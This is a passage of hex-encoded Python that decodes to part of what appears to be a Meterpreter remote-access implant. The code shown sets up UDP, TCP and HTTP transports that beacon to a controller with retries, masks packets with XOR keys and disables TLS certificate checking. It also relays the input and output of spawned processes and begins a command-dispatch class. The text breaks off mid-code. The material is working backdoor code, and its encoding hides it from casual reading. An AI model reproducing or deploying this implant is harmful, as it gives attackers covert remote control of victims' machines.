5f28736f636b290d0a202020202020202073656c662e706565725f616464726573733d706565725f616464726573730d0a2020202064656620636f72655f77726974652873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020706565725f686f73743d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f504545525f484f5354292e676574282776616c756527290d0a2020202020202020706565725f706f72743d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f504545525f504f5254292e676574282776616c756527290d0a2020202020202020696620706565725f686f737420616e6420706565725f706f72743a0d0a202020202020202020202020706565725f616464726573733d28706565725f686f73742c706565725f706f7274290d0a2020202020202020656c69662073656c662e706565725f616464726573733a0d0a202020202020202020202020706565725f616464726573733d73656c662e706565725f616464726573730d0a2020202020202020656c73653a0d0a20202020202020202020202072616973652052756e74696d654572726f722827706565725f686f737420616e6420706565725f706f7274206d75737420626520737065636966696564207769746820616e20756e626f756e642f756e636f6e6e656374656420554450206368616e6e656c27290d0a20202020202020206368616e6e656c5f646174613d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f44415441295b2776616c7565275d0d0a20202020202020207472793a0d0a2020202020202020202020206c656e6774683d73656c662e736f636b2e73656e64746f286368616e6e656c5f646174612c706565725f61646472657373290d0a202020202020202065786365707420736f636b65742e6572726f723a0d0a20202020202020202020202073656c662e636c6f736528290d0a20202020202020202020202073656c662e5f69735f616c6976653d46616c73650d0a2020202020202020202020207374617475733d4552524f525f4641494c5552450d0a2020202020202020656c73653a0d0a202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f4c454e4754482c6c656e677468290d0a2020202020202020202020207374617475733d4552524f525f535543434553530d0a202020202020202072657475726e207374617475732c726573706f6e73650d0a2020202064656620726561642873656c662c6c656e677468293a0d0a202020202020202072657475726e2073656c662e736f636b2e7265637666726f6d286c656e677468295b305d0d0a202020206465662077726974652873656c662c64617461293a0d0a202020202020202073656c662e736f636b2e73656e64746f28646174612c73656c662e706565725f61646472657373290d0a6578706f7274284d65746572707265746572536f636b6574554450436c69656e74290d0a636c6173732053544450726f6365737342756666657228746872656164696e672e546872656164293a0d0a20202020646566205f5f696e69745f5f2873656c662c7374642c69735f616c697665293a0d0a2020202020202020746872656164696e672e5468726561642e5f5f696e69745f5f2873656c66290d0a202020202020202073656c662e7374643d7374640d0a202020202020202073656c662e69735f616c6976653d69735f616c6976650d0a202020202020202073656c662e646174613d627974657328290d0a202020202020202073656c662e646174615f6c6f636b3d746872656164696e672e524c6f636b28290d0a202020206465662072756e2873656c66293a0d0a2020202020202020666f72206279746520696e2069746572286c616d6264613a2073656c662e7374642e726561642831292c62797465732829293a0d0a20202020202020202020202073656c662e646174615f6c6f636b2e6163717569726528290d0a20202020202020202020202073656c662e646174612b3d627974650d0a20202020202020202020202073656c662e646174615f6c6f636b2e72656c6561736528290d0a202020206465662069735f726561645f72656164792873656c66293a0d0a202020202020202072657475726e206c656e2873656c662e646174612920213d20300d0a20202020646566207065656b2873656c662c6c3d4e6f6e65293a0d0a2020202020202020646174613d627974657328290d0a202020202020202073656c662e646174615f6c6f636b2e6163717569726528290d0a20202020202020206966206c3d3d4e6f6e653a0d0a202020202020202020202020646174613d73656c662e646174610d0a2020202020202020656c73653a0d0a202020202020202020202020646174613d73656c662e646174615b303a6c5d0d0a202020202020202073656c662e646174615f6c6f636b2e72656c6561736528290d0a202020202020202072657475726e20646174610d0a2020202064656620726561642873656c662c6c3d4e6f6e65293a0d0a202020202020202073656c662e646174615f6c6f636b2e6163717569726528290d0a2020202020202020646174613d73656c662e7065656b286c290d0a202020202020202073656c662e646174613d73656c662e646174615b6c656e2864617461293a5d0d0a202020202020202073656c662e646174615f6c6f636b2e72656c6561736528290d0a202020202020202072657475726e20646174610d0a636c6173732053544450726f636573732873756270726f636573732e506f70656e293a0d0a20202020646566205f5f696e69745f5f2873656c662c2a617267732c2a2a6b7761726773293a0d0a202020202020202064656275675f7072696e7428275b2a5d207374617274696e672070726f636573733a20272b7265707228617267735b305d29290d0a202020202020202073756270726f636573732e506f70656e2e5f5f696e69745f5f2873656c662c2a617267732c2a2a6b7761726773290d0a202020202020202073656c662e6563686f5f70726f74656374696f6e3d46616c73650d0a202020206465662069735f616c6976652873656c66293a0d0a202020202020202072657475726e2073656c662e706f6c6c2829206973204e6f6e650d0a202020206465662073746172742873656c66293a0d0a202020202020202073656c662e7374646f75745f7265616465723d53544450726f636573734275666665722873656c662e7374646f75742c73656c662e69735f616c697665290d0a202020202020202073656c662e7374646f75745f7265616465722e737461727428290d0a202020202020202073656c662e7374646572725f7265616465723d53544450726f636573734275666665722873656c662e7374646572722c73656c662e69735f616c697665290d0a202020202020202073656c662e7374646572725f7265616465722e737461727428290d0a202020206465662077726974652873656c662c6368616e6e656c5f64617461293a0d0a20202020202020206c656e6774683d73656c662e737464696e2e7772697465286368616e6e656c5f64617461290d0a202020202020202073656c662e737464696e2e666c75736828290d0a202020202020202069662073656c662e6563686f5f70726f74656374696f6e3a0d0a202020202020202020202020656e645f74696d653d74696d652e74696d6528292b302e350d0a2020202020202020202020206f75745f646174613d627974657328290d0a2020202020202020202020207768696c65202874696d652e74696d6528293c656e645f74696d652920616e6420286f75745f6461746120213d206368616e6e656c5f64617461293a0d0a2020202020202020202020202020202069662073656c662e7374646f75745f7265616465722e69735f726561645f726561647928293a0d0a20202020202020202020202020202020202020206f75745f646174613d73656c662e7374646f75745f7265616465722e7065656b286c656e286368616e6e656c5f6461746129290d0a2020202020202020202020206966206f75745f646174613d3d6368616e6e656c5f646174613a0d0a2020202020202020202020202020202073656c662e7374646f75745f7265616465722e72656164286c656e286368616e6e656c5f6461746129290d0a202020202020202072657475726e206c656e6774680d0a6578706f72742853544450726f63657373290d0a636c617373205472616e73706f7274286f626a656374293a0d0a20202020646566205f5f696e69745f5f2873656c66293a0d0a202020202020202073656c662e636f6d6d756e69636174696f6e5f74696d656f75743d53455353494f4e5f434f4d4d554e49434154494f4e5f54494d454f55540d0a202020202020202073656c662e636f6d6d756e69636174696f6e5f6c6173743d300d0a202020202020202073656c662e72657472795f746f74616c3d53455353494f4e5f52455452595f544f54414c0d0a202020202020202073656c662e72657472795f776169743d53455353494f4e5f52455452595f574149540d0a202020202020202073656c662e726571756573745f7265746972653d46616c73650d0a20202020646566205f5f726570725f5f2873656c66293a0d0a202020202020202072657475726e20223c7b307d2075726c3d277b317d27203e222e666f726d61742873656c662e5f5f636c6173735f5f2e5f5f6e616d655f5f2c73656c662e75726c290d0a202020204070726f70657274790d0a2020202064656620636f6d6d756e69636174696f6e5f6861735f657870697265642873656c66293a0d0a202020202020202072657475726e2073656c662e636f6d6d756e69636174696f6e5f6c6173742b73656c662e636f6d6d756e69636174696f6e5f74696d656f75743c74696d652e74696d6528290d0a202020204070726f70657274790d0a202020206465662073686f756c645f7265746972652873656c66293a0d0a202020202020202072657475726e2073656c662e636f6d6d756e69636174696f6e5f6861735f65787069726564206f722073656c662e726571756573745f7265746972650d0a20202020407374617469636d6574686f640d0a202020206465662066726f6d5f726571756573742872657175657374293a0d0a202020202020202075726c3d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f55524c295b2776616c7565275d0d0a202020202020202069662075726c2e73746172747377697468282774637027293a0d0a2020202020202020202020207472616e73706f72743d5463705472616e73706f72742875726c290d0a2020202020202020656c69662075726c2e7374617274737769746828276874747027293a0d0a20202020202020202020202070726f78793d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f50524f58595f484f5354292e676574282776616c756527290d0a202020202020202020202020757365725f6167656e743d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f5541292e676574282776616c7565272c485454505f555345525f4147454e54290d0a202020202020202020202020687474705f686561646572733d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f48454144455253292e676574282776616c7565272c4e6f6e65290d0a2020202020202020202020207472616e73706f72743d487474705472616e73706f72742875726c2c70726f78793d70726f78792c757365725f6167656e743d757365725f6167656e74290d0a202020202020202020202020696620687474705f686561646572733a0d0a20202020202020202020202020202020686561646572733d7b7d0d0a20202020202020202020202020202020666f72206820696e20687474705f686561646572732e737472697028292e73706c697428225c725c6e22293a0d0a2020202020202020202020202020202020202020703d682e73706c697428273a27290d0a2020202020202020202020202020202020202020686561646572735b705b305d2e757070657228295d3d27272e6a6f696e28705b313a305d290d0a20202020202020202020202020202020687474705f686f73743d686561646572732e6765742827484f535427290d0a20202020202020202020202020202020687474705f636f6f6b69653d686561646572732e6765742827434f4f4b494527290d0a20202020202020202020202020202020687474705f726566657265723d686561646572732e67657428275245464552455227290d0a202020202020202020202020202020207472616e73706f72743d487474705472616e73706f72742875726c2c70726f78793d70726f78792c757365725f6167656e743d757365725f6167656e742c687474705f686f73743d687474705f686f73742c0d0a202020202020202020202020202020202020202020202020687474705f636f6f6b69653d687474705f636f6f6b69652c687474705f726566657265723d687474705f72656665726572290d0a20202020202020207472616e73706f72742e636f6d6d756e69636174696f6e5f74696d656f75743d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f434f4d4d5f54494d454f5554292e676574282776616c7565272c53455353494f4e5f434f4d4d554e49434154494f4e5f54494d454f5554290d0a20202020202020207472616e73706f72742e72657472795f746f74616c3d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f52455452595f544f54414c292e676574282776616c7565272c53455353494f4e5f52455452595f544f54414c290d0a20202020202020207472616e73706f72742e72657472795f776169743d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f52455452595f57414954292e676574282776616c7565272c53455353494f4e5f52455452595f57414954290d0a202020202020202072657475726e207472616e73706f72740d0a20202020646566205f61637469766174652873656c66293a0d0a202020202020202072657475726e20547275650d0a202020206465662061637469766174652873656c66293a0d0a2020202020202020656e645f74696d653d74696d652e74696d6528292b73656c662e72657472795f746f74616c0d0a20202020202020207768696c652074696d652e74696d6528293c656e645f74696d653a0d0a2020202020202020202020207472793a0d0a2020202020202020202020202020202061637469766174655f7375636365656465643d73656c662e5f616374697661746528290d0a2020202020202020202020206578636570743a0d0a2020202020202020202020202020202061637469766174655f7375636365656465643d46616c73650d0a20202020202020202020202069662061637469766174655f7375636365656465643a0d0a2020202020202020202020202020202073656c662e636f6d6d756e69636174696f6e5f6c6173743d74696d652e74696d6528290d0a2020202020202020202020202020202072657475726e20547275650d0a20202020202020202020202074696d652e736c6565702873656c662e72657472795f77616974290d0a202020202020202072657475726e2046616c73650d0a20202020646566205f646561637469766174652873656c66293a0d0a202020202020202072657475726e0d0a2020202064656620646561637469766174652873656c66293a0d0a20202020202020207472793a0d0a20202020202020202020202073656c662e5f6465616374697661746528290d0a20202020202020206578636570743a0d0a202020202020202020202020706173730d0a202020202020202073656c662e636f6d6d756e69636174696f6e5f6c6173743d300d0a202020202020202072657475726e20547275650d0a2020202064656620646563727970745f7061636b65742873656c662c706b74293a0d0a2020202020202020696620706b7420616e64206c656e28706b74293e5041434b45545f4845414445525f53495a453a0d0a202020202020202020202020786f725f6b65793d7374727563742e756e7061636b282742424242272c706b745b3a5041434b45545f584f525f4b45595f53495a455d290d0a2020202020202020202020207261773d786f725f627974657328786f725f6b65792c706b74290d0a20202020202020202020202072657475726e207261775b5041434b45545f4845414445525f53495a453a5d0d0a202020202020202072657475726e204e6f6e650d0a20202020646566206765745f7061636b65742873656c66293a0d0a202020202020202073656c662e726571756573745f7265746972653d46616c73650d0a20202020202020207472793a0d0a202020202020202020202020706b743d73656c662e646563727970745f7061636b65742873656c662e5f6765745f7061636b65742829290d0a20202020202020206578636570743a0d0a20202020202020202020202064656275675f74726163656261636b28290d0a20202020202020202020202072657475726e204e6f6e650d0a2020202020202020696620706b74206973204e6f6e653a0d0a20202020202020202020202072657475726e204e6f6e650d0a202020202020202073656c662e636f6d6d756e69636174696f6e5f6c6173743d74696d652e74696d6528290d0a202020202020202072657475726e20706b740d0a2020202064656620656e63727970745f7061636b65742873656c662c706b74293a0d0a2020202020202020786f725f6b65793d72616e645f786f725f6b657928290d0a20202020202020207261773d62696e61736369692e6132625f6865782862797465732853455353494f4e5f475549442c275554462d382729292b7374727563742e7061636b28273e49272c454e435f4e4f4e45292b706b740d0a2020202020202020726573756c743d7374727563742e7061636b282742424242272c2a786f725f6b6579292b786f725f627974657328786f725f6b65792c726177290d0a202020202020202072657475726e20726573756c740d0a202020206465662073656e645f7061636b65742873656c662c706b74293a0d0a2020202020202020706b743d7374727563742e7061636b28273e49272c6c656e28706b74292b34292b706b740d0a202020202020202073656c662e726571756573745f7265746972653d46616c73650d0a20202020202020207472793a0d0a20202020202020202020202073656c662e5f73656e645f7061636b65742873656c662e656e63727970745f7061636b657428706b7429290d0a20202020202020206578636570743a0d0a20202020202020202020202064656275675f74726163656261636b28290d0a20202020202020202020202072657475726e2046616c73650d0a202020202020202073656c662e636f6d6d756e69636174696f6e5f6c6173743d74696d652e74696d6528290d0a202020202020202072657475726e20547275650d0a2020202064656620746c765f7061636b5f74696d656f7574732873656c66293a0d0a2020202020202020726573706f6e7365203d746c765f7061636b28544c565f545950455f5452414e535f434f4d4d5f54494d454f55542c73656c662e636f6d6d756e69636174696f6e5f74696d656f7574290d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f52455452595f544f54414c2c73656c662e72657472795f746f74616c290d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f52455452595f574149542c73656c662e72657472795f77616974290d0a202020202020202072657475726e20726573706f6e73650d0a2020202064656620746c765f7061636b5f7472616e73706f72745f67726f75702873656c66293a0d0a20202020202020207472616e735f67726f7570203d746c765f7061636b28544c565f545950455f5452414e535f55524c2c73656c662e75726c290d0a20202020202020207472616e735f67726f75702b3d73656c662e746c765f7061636b5f74696d656f75747328290d0a202020202020202072657475726e207472616e735f67726f75700d0a636c61737320487474705472616e73706f7274285472616e73706f7274293a0d0a20202020646566205f5f696e69745f5f2873656c662c75726c2c70726f78793d4e6f6e652c757365725f6167656e743d4e6f6e652c687474705f686f73743d4e6f6e652c687474705f726566657265723d4e6f6e652c687474705f636f6f6b69653d4e6f6e65293a0d0a2020202020202020737570657228487474705472616e73706f72742c73656c66292e5f5f696e69745f5f28290d0a20202020202020206f70656e65725f617267733d5b5d0d0a2020202020202020736368656d653d75726c2e73706c697428273a272c31295b305d0d0a2020202020202020696620736368656d653d3d2768747470732720616e642028287379732e76657273696f6e5f696e666f5b305d3d3d3220616e64207379732e76657273696f6e5f696e666f203e3d2028322c372c392929206f72207379732e76657273696f6e5f696e666f203e3d2028332c342c3329293a0d0a202020202020202020202020696d706f72742073736c0d0a20202020202020202020202073736c5f6374783d73736c2e53534c436f6e746578742873736c2e50524f544f434f4c5f53534c763233290d0a20202020202020202020202073736c5f6374782e636865636b5f686f73746e616d653d46616c73650d0a20202020202020202020202073736c5f6374782e7665726966795f6d6f64653d73736c2e434552545f4e4f4e450d0a2020202020202020202020206f70656e65725f617267732e617070656e642875726c6c69622e485454505348616e646c657228302c73736c5f63747829290d0a202020202020202069662070726f78793a0d0a2020202020202020202020206f70656e65725f617267732e617070656e642875726c6c69622e50726f787948616e646c6572287b736368656d653a2070726f78797d29290d0a202020202020202073656c662e70726f78793d70726f78790d0a20202020202020206f70656e65723d75726c6c69622e6275696c645f6f70656e6572282a6f70656e65725f61726773290d0a20202020202020206f70656e65722e616464686561646572733d5b5d0d0a2020202020202020696620757365725f6167656e743a0d0a2020202020202020202020206f70656e65722e616464686561646572732e617070656e64282827557365722d4167656e74272c757365725f6167656e7429290d0a2020202020202020696620687474705f636f6f6b69653a0d0a2020202020202020202020206f70656e65722e616464686561646572732e617070656e64282827436f6f6b6965272c687474705f636f6f6b696529290d0a2020202020202020696620687474705f726566657265723a0d0a2020202020202020202020206f70656e65722e616464686561646572732e617070656e6428282752656665726572272c687474705f7265666572657229290d0a202020202020202073656c662e757365725f6167656e743d757365725f6167656e740d0a202020202020202075726c6c69622e696e7374616c6c5f6f70656e6572286f70656e6572290d0a202020202020202073656c662e75726c3d75726c0d0a202020202020202073656c662e5f687474705f726571756573745f686561646572733d7b27436f6e74656e742d54797065273a20276170706c69636174696f6e2f6f637465742d73747265616d277d0d0a2020202020202020696620687474705f686f73743a0d0a20202020202020202020202073656c662e5f687474705f726571756573745f686561646572735b27486f7374275d3d687474705f686f73740d0a202020202020202073656c662e5f66697273745f7061636b65743d4e6f6e650d0a202020202020202073656c662e5f656d7074795f636e743d300d0a20202020646566205f61637469766174652873656c66293a0d0a202020202020202072657475726e20547275650d0a202020202020202073656c662e5f66697273745f7061636b65743d4e6f6e650d0a20202020202020207061636b65743d73656c662e5f6765745f7061636b657428290d0a20202020202020206966207061636b6574206973204e6f6e653a0d0a20202020202020202020202072657475726e2046616c73650d0a202020202020202073656c662e5f66697273745f7061636b65743d7061636b65740d0a202020202020202072657475726e20547275650d0a20202020646566205f6765745f7061636b65742873656c66293a0d0a202020202020202069662073656c662e5f66697273745f7061636b65743a0d0a2020202020202020202020207061636b65743d73656c662e5f66697273745f7061636b65740d0a20202020202020202020202073656c662e5f66697273745f7061636b65743d4e6f6e650d0a20202020202020202020202072657475726e207061636b65740d0a20202020202020207061636b65743d4e6f6e650d0a2020202020202020786f725f6b65793d4e6f6e650d0a2020202020202020726571756573743d75726c6c69622e526571756573742873656c662e75726c2c4e6f6e652c73656c662e5f687474705f726571756573745f68656164657273290d0a20202020202020207472793a0d0a20202020202020202020202075726c5f683d75726c6c69622e75726c6f70656e28726571756573742c74696d656f75743d73656c662e636f6d6d756e69636174696f6e5f74696d656f7574290d0a2020202020202020202020207061636b65743d75726c5f682e7265616428290d0a202020202020202020202020666f72205f20696e2072616e67652831293a0d0a202020202020202020202020202020206966207061636b65743d3d27273a0d0a2020202020202020202020202020202020202020627265616b0d0a202020202020202020202020202020206966206c656e287061636b6574293c5041434b45545f4845414445525f53495a453a0d0a20202020202020202020202020202020202020207061636b65743d4e6f6e650d0a2020202020202020202020202020202020202020627265616b0d0a20202020202020202020202020202020786f725f6b65793d7374727563742e756e7061636b282742424242272c7061636b65745b3a5041434b45545f584f525f4b45595f53495a455d290d0a202020202020202020202020202020206865616465723d786f725f627974657328786f725f6b65792c7061636b65745b3a5041434b45545f4845414445525f53495a455d290d0a20202020202020202020202020202020706b745f6c656e6774683d7374727563742e756e7061636b28273e49272c6865616465725b5041434b45545f4c454e4754485f4f46463a5041434b45545f4c454e4754485f4f46462b5041434b45545f4c454e4754485f53495a455d295b305d2d380d0a202020202020202020202020202020206966206c656e287061636b65742920213d2028706b745f6c656e6774682b5041434b45545f4845414445525f53495a45293a0d0a20202020202020202020202020202020202020207061636b65743d4e6f6e650d0a20202020202020206578636570743a0d0a20202020202020202020202064656275675f74726163656261636b28274661696c75726520746f2072656365697665207061636b65742066726f6d20272b73656c662e75726c290d0a20202020202020206966206e6f74207061636b65743a0d0a20202020202020202020202064656c61793d3130202a2073656c662e5f656d7074795f636e740d0a20202020202020202020202069662073656c662e5f656d7074795f636e74203e3d20303a0d0a2020202020202020202020202020202064656c6179202a3d2031300d0a20202020202020202020202073656c662e5f656d7074795f636e742b3d310d0a20202020202020202020202074696d652e736c65657028666c6f6174286d696e2831303030302c64656c61792929202f2031303030290d0a20202020202020202020202072657475726e207061636b65740d0a202020202020202073656c662e5f656d7074795f636e743d300d0a202020202020202072657475726e207061636b65740d0a20202020646566205f73656e645f7061636b65742873656c662c7061636b6574293a0d0a2020202020202020726571756573743d75726c6c69622e526571756573742873656c662e75726c2c7061636b65742c73656c662e5f687474705f726571756573745f68656164657273290d0a202020202020202075726c5f683d75726c6c69622e75726c6f70656e28726571756573742c74696d656f75743d73656c662e636f6d6d756e69636174696f6e5f74696d656f7574290d0a2020202020202020726573706f6e73653d75726c5f682e7265616428290d0a202020206465662070617463685f7572695f706174682873656c662c6e65775f70617468293a0d0a20202020202020206d617463683d72652e6d6174636828722768747470733f3a2f2f5b5e2f5d2b282f2e2a2429272c73656c662e75726c290d0a20202020202020206966206d61746368206973204e6f6e653a0d0a20202020202020202020202072657475726e2046616c73650d0a202020202020202073656c662e75726c3d73656c662e75726c5b3a6d617463682e7370616e2831295b305d5d2b6e65775f706174680d0a202020202020202072657475726e20547275650d0a2020202064656620746c765f7061636b5f7472616e73706f72745f67726f75702873656c66293a0d0a20202020202020207472616e735f67726f7570203d737570657228487474705472616e73706f72742c73656c66292e746c765f7061636b5f7472616e73706f72745f67726f757028290d0a202020202020202069662073656c662e757365725f6167656e743a0d0a2020202020202020202020207472616e735f67726f75702b3d746c765f7061636b28544c565f545950455f5452414e535f55412c73656c662e757365725f6167656e74290d0a202020202020202069662073656c662e70726f78793a0d0a2020202020202020202020207472616e735f67726f75702b3d746c765f7061636b28544c565f545950455f5452414e535f50524f58595f484f53542c73656c662e70726f7879290d0a202020202020202072657475726e207472616e735f67726f75700d0a636c617373205463705472616e73706f7274285472616e73706f7274293a0d0a20202020646566205f5f696e69745f5f2873656c662c75726c2c736f636b65743d4e6f6e65293a0d0a20202020202020207375706572285463705472616e73706f72742c73656c66292e5f5f696e69745f5f28290d0a202020202020202073656c662e75726c3d75726c0d0a202020202020202073656c662e736f636b65743d736f636b65740d0a202020202020202073656c662e5f636c65616e75705f7468726561643d4e6f6e650d0a202020202020202073656c662e5f66697273745f7061636b65743d547275650d0a20202020646566205f736f636b5f636c65616e75702873656c662c736f636b293a0d0a202020202020202072656d61696e696e675f74696d653d73656c662e636f6d6d756e69636174696f6e5f74696d656f75740d0a20202020202020207768696c652072656d61696e696e675f74696d653e303a0d0a202020202020202020202020697465725f73746172745f74696d653d74696d652e74696d6528290d0a20202020202020202020202069662073656c6563742e73656c656374285b736f636b5d2c5b5d2c5b5d2c72656d61696e696e675f74696d65295b305d3a0d0a202020202020202020202020202020206966206c656e28736f636b2e72656376283430393629293d3d303a0d0a2020202020202020202020202020202020202020627265616b0d0a20202020202020202020202072656d61696e696e675f74696d652d3d74696d652e74696d6528292d697465725f73746172745f74696d650d0a2020202020202020736f636b2e636c6f736528290d0a20202020646566205f61637469766174652873656c66293a0d0a2020202020202020616464726573732c706f72743d73656c662e75726c5b363a5d2e7273706c697428273a272c31290d0a2020202020202020706f72743d696e7428706f72742e72737472697028272f2729290d0a202020202020202074696d656f75743d6d61782873656c662e636f6d6d756e69636174696f6e5f74696d656f75742c3330290d0a20202020202020206966206164647265737320696e202827272c27302e302e302e30272c273a3a27293a0d0a2020202020202020202020207472793a0d0a202020202020202020202020202020207365727665725f736f636b3d736f636b65742e736f636b657428736f636b65742e41465f494e4554362c736f636b65742e534f434b5f53545245414d290d0a202020202020202020202020202020207365727665725f736f636b2e736574736f636b6f707428736f636b65742e495050524f544f5f495056362c736f636b65742e495056365f56364f4e4c592c30290d0a20202020202020202020202065786365707420284174747269627574654572726f722c736f636b65742e6572726f72293a0d0a202020202020202020202020202020207365727665725f736f636b3d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d290d0a2020202020202020202020207365727665725f736f636b2e62696e64282827272c706f727429290d0a2020202020202020202020207365727665725f736f636b2e6c697374656e2831290d0a2020202020202020202020206966206e6f742073656c6563742e73656c656374285b7365727665725f736f636b5d2c5b5d2c5b5d2c74696d656f7574295b305d3a0d0a202020202020202020202020202020207365727665725f736f636b2e636c6f736528290d0a2020202020202020202020202020202072657475726e2046616c73650d0a202020202020202020202020736f636b2c5f3d7365727665725f736f636b2e61636365707428290d0a2020202020202020202020207365727665725f736f636b2e636c6f736528290d0a2020202020202020656c73653a0d0a202020202020202020202020696620273a2720696e20616464726573733a0d0a20202020202020202020202020202020736f636b3d736f636b65742e736f636b657428736f636b65742e41465f494e4554362c736f636b65742e534f434b5f53545245414d290d0a202020202020202020202020656c73653a0d0a20202020202020202020202020202020736f636b3d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d290d0a202020202020202020202020736f636b2e73657474696d656f75742874696d656f7574290d0a202020202020202020202020736f636b2e636f6e6e6563742828616464726573732c706f727429290d0a202020202020202020202020736f636b2e73657474696d656f7574284e6f6e65290d0a202020202020202073656c662e736f636b65743d736f636b0d0a202020202020202073656c662e5f66697273745f7061636b65743d547275650d0a202020202020202072657475726e20547275650d0a20202020646566205f646561637469766174652873656c66293a0d0a2020202020202020636c65616e75703d746872656164696e672e546872656164287461726765743d73656c662e5f736f636b5f636c65616e75702c617267733d2873656c662e736f636b65742c29290d0a2020202020202020636c65616e75702e72756e28290d0a202020202020202073656c662e736f636b65743d4e6f6e650d0a20202020646566205f6765745f7061636b65742873656c66293a0d0a202020202020202066697273743d73656c662e5f66697273745f7061636b65740d0a202020202020202073656c662e5f66697273745f7061636b65743d46616c73650d0a20202020202020206966206e6f742073656c6563742e73656c656374285b73656c662e736f636b65745d2c5b5d2c5b5d2c302e35295b305d3a0d0a20202020202020202020202072657475726e20627974657328290d0a20202020202020207061636b65743d73656c662e736f636b65742e72656376285041434b45545f4845414445525f53495a45290d0a20202020202020206966207061636b65743d3d27273a0d0a20202020202020202020202073656c662e726571756573745f7265746972653d547275650d0a20202020202020202020202072657475726e204e6f6e650d0a20202020202020206966206c656e287061636b65742920213d205041434b45545f4845414445525f53495a453a0d0a202020202020202020202020696620666972737420616e64206c656e287061636b6574293d3d343a0d0a2020202020202020202020202020202072656365697665643d300d0a202020202020202020202020202020206865616465723d7061636b65745b3a345d0d0a20202020202020202020202020202020706b745f6c656e6774683d7374727563742e756e7061636b28273e49272c686561646572295b305d0d0a2020202020202020202020202020202073656c662e736f636b65742e73657474696d656f7574286d61782873656c662e636f6d6d756e69636174696f6e5f74696d656f75742c333029290d0a202020202020202020202020202020207768696c652072656365697665643c706b745f6c656e6774683a0d0a202020202020202020202020202020202020202072656365697665642b3d6c656e2873656c662e736f636b65742e7265637628706b745f6c656e6774682d726563656976656429290d0a2020202020202020202020202020202073656c662e736f636b65742e73657474696d656f7574284e6f6e65290d0a2020202020202020202020202020202072657475726e2073656c662e5f6765745f7061636b657428290d0a20202020202020202020202072657475726e204e6f6e650d0a2020202020202020786f725f6b65793d7374727563742e756e7061636b282742424242272c7061636b65745b3a5041434b45545f584f525f4b45595f53495a455d290d0a20202020202020206865616465723d786f725f627974657328786f725f6b65792c7061636b65745b3a5041434b45545f4845414445525f53495a455d290d0a2020202020202020706b745f6c656e6774683d7374727563742e756e7061636b28273e49272c6865616465725b5041434b45545f4c454e4754485f4f46463a5041434b45545f4c454e4754485f4f46462b5041434b45545f4c454e4754485f53495a455d295b305d0d0a2020202020202020706b745f6c656e6774682d3d380d0a2020202020202020726573743d627974657328290d0a20202020202020207768696c65206c656e2872657374293c706b745f6c656e6774683a0d0a202020202020202020202020726573742b3d73656c662e736f636b65742e7265637628706b745f6c656e6774682d6c656e287265737429290d0a202020202020202072657475726e207061636b65742b726573740d0a20202020646566205f73656e645f7061636b65742873656c662c7061636b6574293a0d0a202020202020202073656c662e736f636b65742e73656e64287061636b6574290d0a2020202040636c6173736d6574686f640d0a202020206465662066726f6d5f736f636b657428636c732c736f636b293a0d0a202020202020202075726c3d277463703a2f2f270d0a2020202020202020616464726573732c706f72743d736f636b2e676574736f636b6e616d6528295b3a325d0d0a20202020202020206966206e6f74206164647265737320696e202827272c27302e302e302e30272c273a3a27293a0d0a202020202020202020202020616464726573732c706f72743d736f636b2e676574706565726e616d6528295b3a325d0d0a202020202020202075726c2b3d616464726573732b273a272b73747228706f7274290d0a202020202020202072657475726e20636c732875726c2c736f636b290d0a636c61737320507974686f6e4d65746572707265746572286f626a656374293a0d0a20202020646566205f5f696e69745f5f2873656c662c7472616e73706f7274293a0d0a202020202020202073656c662e7472616e73706f72743d7472616e73706f72740d0a202020202020202073656c662e5f7472616e73706f72745f736c6565703d4e6f6e650d0a202020202020202073656c662e72756e6e696e673d46616c73650d0a202020202020202073656c662e6c6173745f726567697374657265645f657874656e73696f6e3d4e6f6e650d0a202020202020202073656c662e657874656e73696f6e5f66756e6374696f6e733d7b7d0d0a202020202020202073656c662e6368616e6e656c733d7b7d0d0a202020202020202073656c662e6e6578745f6368616e6e656c5f69643d310d0a202020202020202073656c662e696e7465726163745f6368616e6e656c733d5b5d0d0a202020202020202073656c662e70726f6365737365733d7b7d0d0a202020202020202073656c662e6e6578745f70726f636573735f69643d310d0a202020202020202073656c662e7472616e73706f7274733d5b73656c662e7472616e73706f72745d0d0a202020202020202073656c662e73657373696f6e5f6578706972795f74696d653d53455353494f4e5f45585049524154494f4e5f54494d454f55540d0a202020202020202073656c662e73657373696f6e5f6578706972795f656e643d74696d652e74696d6528292b73656c662e73657373696f6e5f6578706972795f74696d650d0a2020202020202020666f722066756e6320696e206c6973742866696c746572286c616d62646120783a20782e7374617274737769746828275f636f726527292c6469722873656c662929293a0d0a20202020202020202020202073656c662e657874656e73696f6e5f66756e6374696f6e735b66756e635b313a5d5d3d676574617474722873656c662c66756e63290d0a202020202020202073656c662e72756e6e696e673d547275650d0a202020206465662072656769737465725f657874656e73696f6e2873656c662c657874656e73696f6e5f6e616d65293a0d0a202020202020202073656c662e6c6173745f726567697374657265645f657874656e73696f6e3d657874656e73696f6e5f6e616d650d0a202020202020202072657475726e2073656c662e6c6173745f726567697374657265645f657874656e73696f6e0d0a202020206465662072656769737465725f66756e6374696f6e2873656c662c66756e63293a0d0a202020202020202073656c662e657874656e73696f6e5f66756e6374696f6e735b66756e632e5f5f6e616d655f5f5d3d66756e630d0a202020202020202072657475726e2066756e630d0a202020206465662072656769737465725f66756e6374696f6e5f69662873656c662c636f6e646974696f6e293a0d0a2020202020202020696620636f6e646974696f6e3a0d0a20202020202020202020202072657475726e2073656c662e72656769737465725f66756e6374696f6e0d0a2020202020202020656c73653a0d0a20202020202020202020202072657475726e206c616d6264612066756e6374696f6e3a2066756e6374696